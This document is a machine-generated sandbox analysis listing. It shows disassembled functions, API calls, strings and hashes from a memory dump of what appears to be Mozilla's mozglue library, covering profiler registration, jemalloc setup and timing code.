InitOnceExecuteOnce.KERNEL32(6C5AF818,6C52F240,?,?), ref: 6C534612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C534636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C534644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C53466D
VerSetConditionMask.NTDLL ref: 6C53469F
VerSetConditionMask.NTDLL ref: 6C5346AB
VerSetConditionMask.NTDLL ref: 6C5346B2
VerSetConditionMask.NTDLL ref: 6C5346B9
VerSetConditionMask.NTDLL ref: 6C5346C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5346CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5346F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5346FD

Strings

GZl, xrefs: 6C5344FC
WRusr.dll, xrefs: 6C5344B5
l, xrefs: 6C534578
NativeNtBlockSet_Write, xrefs: 6C5346F7
kernel32.dll, xrefs: 6C5344CD
user32.dll, xrefs: 6C534557, 6C53463F

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GZl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-2531787397
Opcode ID: b12a13ffc96cc8ebd44681fd61dc6a76225277e14992750c7fcfba76299d0258
Instruction ID: ed9dcf034db8d9a5bf855676816effba850a59e27305bc550cabf88d495265c9
Opcode Fuzzy Hash: b12a13ffc96cc8ebd44681fd61dc6a76225277e14992750c7fcfba76299d0258
Instruction Fuzzy Hash: 99613BB0A00358AFEB109FE2DC09B9D7FF8EF46308F059658E5099B641E7B18945CFA5

Function 6C56F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C534A68), ref: 6C56945E
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C569470
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C569482
Part of subcall function 6C569420: __Init_thread_footer.LIBCMT ref: 6C56949F

GetCurrentThreadId.KERNEL32 ref: 6C56F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C56F8F9

Part of subcall function 6C536390: GetCurrentThreadId.KERNEL32 ref: 6C5363D0
Part of subcall function 6C536390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5363DF
Part of subcall function 6C536390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C53640E

ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56F93A
GetCurrentThreadId.KERNEL32 ref: 6C56F98A
GetCurrentThreadId.KERNEL32 ref: 6C56F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C56F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C56F716

Part of subcall function 6C5694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5694EE
Part of subcall function 6C5694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C569508

Part of subcall function 6C52B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C52B5E0

GetCurrentThreadId.KERNEL32 ref: 6C56F739
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56F746
GetCurrentThreadId.KERNEL32 ref: 6C56F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C5A385B,00000002,?,?,?,?,?), ref: 6C56F829
free.MOZGLUE(?,?,00000000,?), ref: 6C56F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C56F866
free.MOZGLUE(?), ref: 6C56FA0C

Part of subcall function 6C535E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5355E1), ref: 6C535E8C
Part of subcall function 6C535E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C535E9D
Part of subcall function 6C535E60: GetCurrentThreadId.KERNEL32 ref: 6C535EAB
Part of subcall function 6C535E60: GetCurrentThreadId.KERNEL32 ref: 6C535EB8
Part of subcall function 6C535E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C535ECF
Part of subcall function 6C535E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C535F27
Part of subcall function 6C535E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C535F47
Part of subcall function 6C535E60: GetCurrentProcess.KERNEL32 ref: 6C535F53
Part of subcall function 6C535E60: GetCurrentThread.KERNEL32 ref: 6C535F5C
Part of subcall function 6C535E60: GetCurrentProcess.KERNEL32 ref: 6C535F66
Part of subcall function 6C535E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C535F7E

free.MOZGLUE(?), ref: 6C56F9C5
free.MOZGLUE(?), ref: 6C56F9DA

Strings

Thread , xrefs: 6C56F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C56F71F
" attempted to re-register as ", xrefs: 6C56F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C56F9A6

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 86f9f4169450e2ee1b369a20a8e1e34150877556e03c54267d1bfdb23b1e900a
Instruction ID: b664e83087e76831cac4f498d2e83c77c612ceb77d21f5eecc73d786741b1950
Opcode Fuzzy Hash: 86f9f4169450e2ee1b369a20a8e1e34150877556e03c54267d1bfdb23b1e900a
Instruction Fuzzy Hash: 9981D071A04204DFDB109F66CC40BAEB7A5AFC5308F45466DE84A9BB61EB319C49CB92

Function 6C56EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C534A68), ref: 6C56945E
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C569470
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C569482
Part of subcall function 6C569420: __Init_thread_footer.LIBCMT ref: 6C56949F

GetCurrentThreadId.KERNEL32 ref: 6C56EE60
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56EE6D
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C56EEA5
CloseHandle.KERNEL32(?), ref: 6C56EEB4
free.MOZGLUE(00000000), ref: 6C56EEBB
GetCurrentThreadId.KERNEL32 ref: 6C56EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C56EECF

Part of subcall function 6C56DE60: GetCurrentThreadId.KERNEL32 ref: 6C56DE73
Part of subcall function 6C56DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C534A68), ref: 6C56DE7B
Part of subcall function 6C56DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C534A68), ref: 6C56DEB8
Part of subcall function 6C56DE60: free.MOZGLUE(00000000,?,6C534A68), ref: 6C56DEFE
Part of subcall function 6C56DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C56DF38

Part of subcall function 6C55CBE8: GetCurrentProcess.KERNEL32(?,6C5231A7), ref: 6C55CBF1
Part of subcall function 6C55CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5231A7), ref: 6C55CBFA

GetCurrentThreadId.KERNEL32 ref: 6C56EF1E
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56EF2B
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56EF59
GetCurrentThreadId.KERNEL32 ref: 6C56EFB0
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56EFBD
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56EFE1
GetCurrentThreadId.KERNEL32 ref: 6C56EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C56F000

Part of subcall function 6C5694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5694EE
Part of subcall function 6C5694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C569508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C56F02F

Part of subcall function 6C56F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C56F09B
Part of subcall function 6C56F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C56F0AC
Part of subcall function 6C56F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C56F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C56EED7
[I %d/%d] profiler_pause, xrefs: 6C56F008

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 099fc252d15b1a3500a9cbbdaa32af76e8df41f6363babf72112d619a731cb33
Instruction ID: 949d7302130af3f45a551a1649bb75f09c833c677bc37ae6cbdfacab7dad4ed4
Opcode Fuzzy Hash: 099fc252d15b1a3500a9cbbdaa32af76e8df41f6363babf72112d619a731cb33
Instruction Fuzzy Hash: D151D331A05214DFDB00ABEBEC0879D7BB4EB86328F160616E91583F51DB724805C7EA

Function 6C55D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C5AE804), ref: 6C55D047
GetSystemInfo.KERNEL32(?), ref: 6C55D093
__Init_thread_footer.LIBCMT ref: 6C55D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C5AE810,00000040), ref: 6C55D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5AE7B8,00001388), ref: 6C55D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5AE744,00001388), ref: 6C55D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5AE784,00001388), ref: 6C55D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5AE7DC,00001388), ref: 6C55D1B1

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C55D26D
MOZ_CRASH(), xrefs: 6C55D277
<jemalloc>, xrefs: 6C55D268, 6C55D311
: (malloc) Unsupported character in malloc options: ', xrefs: 6C55D322
MALLOC_OPTIONS, xrefs: 6C55D0CB

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: eb08ea2e12fb56ffb242bfbe16e8cba47221e766a5de3c16b1cd059d756242b2
Instruction ID: d59211839df191d184ac84e12f71003329acd3b1988bf48a33714d5f4de7d959
Opcode Fuzzy Hash: eb08ea2e12fb56ffb242bfbe16e8cba47221e766a5de3c16b1cd059d756242b2
Instruction Fuzzy Hash: 39810171B002418BEB049FEAEE54B6D37F4EB46304F91052AE90197F80D7B19866CBD9

Function 6C537FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C538007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C53801D

Part of subcall function 6C53CA10: malloc.MOZGLUE(?), ref: 6C53CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C53802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C53803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C53808D

Part of subcall function 6C53CA10: mozalloc_abort.MOZGLUE(?), ref: 6C53CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C53809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C5380B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5380DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5380ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5380FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C53810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C538133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C538149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C538167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C53817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C538199

Strings

0>Vl, xrefs: 6C53811E

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Vl
API String ID: 2721933968-1467955334
Opcode ID: d999f5fc0d1ed7ee2cd55778ee5abe8818a7d5a8f3c5b220a69d787dbf7f9a39
Instruction ID: 765212010d1dd114830b35b2ec6bcb98cdc091e389901211077210cd1d45beed
Opcode Fuzzy Hash: d999f5fc0d1ed7ee2cd55778ee5abe8818a7d5a8f3c5b220a69d787dbf7f9a39
Instruction Fuzzy Hash: 3B5195B2E001549BDF00DBA5DC84AEFB7B9EF89224F550126E819E7741F734AD04CBA2

Function 6C535E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C535E9D

Part of subcall function 6C545B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5456EE,?,00000001), ref: 6C545B85
Part of subcall function 6C545B50: EnterCriticalSection.KERNEL32(6C5AF688,?,?,?,6C5456EE,?,00000001), ref: 6C545B90
Part of subcall function 6C545B50: LeaveCriticalSection.KERNEL32(6C5AF688,?,?,?,6C5456EE,?,00000001), ref: 6C545BD8
Part of subcall function 6C545B50: GetTickCount64.KERNEL32 ref: 6C545BE4

GetCurrentThreadId.KERNEL32 ref: 6C535EAB
GetCurrentThreadId.KERNEL32 ref: 6C535EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C535ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C536017

Part of subcall function 6C524310: moz_xmalloc.MOZGLUE(00000010,?,6C5242D2), ref: 6C52436A
Part of subcall function 6C524310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5242D2), ref: 6C524387

moz_xmalloc.MOZGLUE(00000004), ref: 6C535F47
GetCurrentProcess.KERNEL32 ref: 6C535F53
GetCurrentThread.KERNEL32 ref: 6C535F5C
GetCurrentProcess.KERNEL32 ref: 6C535F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C535F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C535F27

Part of subcall function 6C53CA10: mozalloc_abort.MOZGLUE(?), ref: 6C53CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5355E1), ref: 6C535E8C

Part of subcall function 6C53CA10: malloc.MOZGLUE(?), ref: 6C53CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5355E1), ref: 6C53605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5355E1), ref: 6C5360CC

Strings

GeckoMain, xrefs: 6C535ECE, 6C536015

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 627b9bcf22c8c953574048adaaf91bca68fce036920fbae64c88c100ef4d8776
Instruction ID: f2ba89fb0907f0bfaaee3d0da7adce76acf7e6b7d87693d176985b4f6b8d728f
Opcode Fuzzy Hash: 627b9bcf22c8c953574048adaaf91bca68fce036920fbae64c88c100ef4d8776
Instruction Fuzzy Hash: 7271B1B0904740DFD710DF69D880A6ABBF0FF89304F54596DE58A87B52E731E858CB92

Function 6C539590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5231C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C523217
Part of subcall function 6C5231C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C523236
Part of subcall function 6C5231C0: FreeLibrary.KERNEL32 ref: 6C52324B
Part of subcall function 6C5231C0: __Init_thread_footer.LIBCMT ref: 6C523260
Part of subcall function 6C5231C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C52327F
Part of subcall function 6C5231C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C52328E
Part of subcall function 6C5231C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5232AB
Part of subcall function 6C5231C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5232D1
Part of subcall function 6C5231C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5232E5
Part of subcall function 6C5231C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5232F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C539675
__Init_thread_footer.LIBCMT ref: 6C539697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5396E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C539707
__Init_thread_footer.LIBCMT ref: 6C53971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C539773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5397B7
FreeLibrary.KERNEL32 ref: 6C5397D0
FreeLibrary.KERNEL32 ref: 6C5397EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C539824

Strings

ntdll.dll, xrefs: 6C5396E3
NtMapViewOfSection, xrefs: 6C539701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C539670
MapViewOfFileNuma2, xrefs: 6C5397B1

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0f21cc65549bae38a4a3fb8024e5bbb3c00f2146d663c0a5792cd3d38be7c438
Instruction ID: b39747da5000f64a7e4053daaca24eb5b14bcb2a3d0e232a20eaa567b8fa2b20
Opcode Fuzzy Hash: 0f21cc65549bae38a4a3fb8024e5bbb3c00f2146d663c0a5792cd3d38be7c438
Instruction Fuzzy Hash: F861E8B1700215DBDF00DFE6EC88B9E7BF0EB4A314F024619E95A97790EB309854CBA5

Function 6C586660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C5AF618), ref: 6C586694
GetThreadId.KERNEL32(?), ref: 6C5866B1
GetCurrentThreadId.KERNEL32 ref: 6C5866B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5866E1
EnterCriticalSection.KERNEL32(6C5AF618), ref: 6C586734
GetCurrentProcess.KERNEL32 ref: 6C58673A
LeaveCriticalSection.KERNEL32(6C5AF618), ref: 6C58676C
GetCurrentThread.KERNEL32 ref: 6C5867FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C586868
RtlCaptureContext.NTDLL ref: 6C58687F

Strings

WalkStack64, xrefs: 6C586890

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 41a77bdd23fd552d92a5233eca8f7ee8bb2581e4f170ce5a0af13e2391a4dd73
Instruction ID: 004dae63eb15bf275b71922c203784ff28c5daf4722c54b7c098d6039700e3ea
Opcode Fuzzy Hash: 41a77bdd23fd552d92a5233eca8f7ee8bb2581e4f170ce5a0af13e2391a4dd73
Instruction Fuzzy Hash: 5551B971A0A311AFDB11DF66DC44A5EBBF4BF89714F01492DF998C7640DB70E8088B96

Function 6C56DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C534A68), ref: 6C56945E
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C569470
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C569482
Part of subcall function 6C569420: __Init_thread_footer.LIBCMT ref: 6C56949F

GetCurrentThreadId.KERNEL32 ref: 6C56DE73
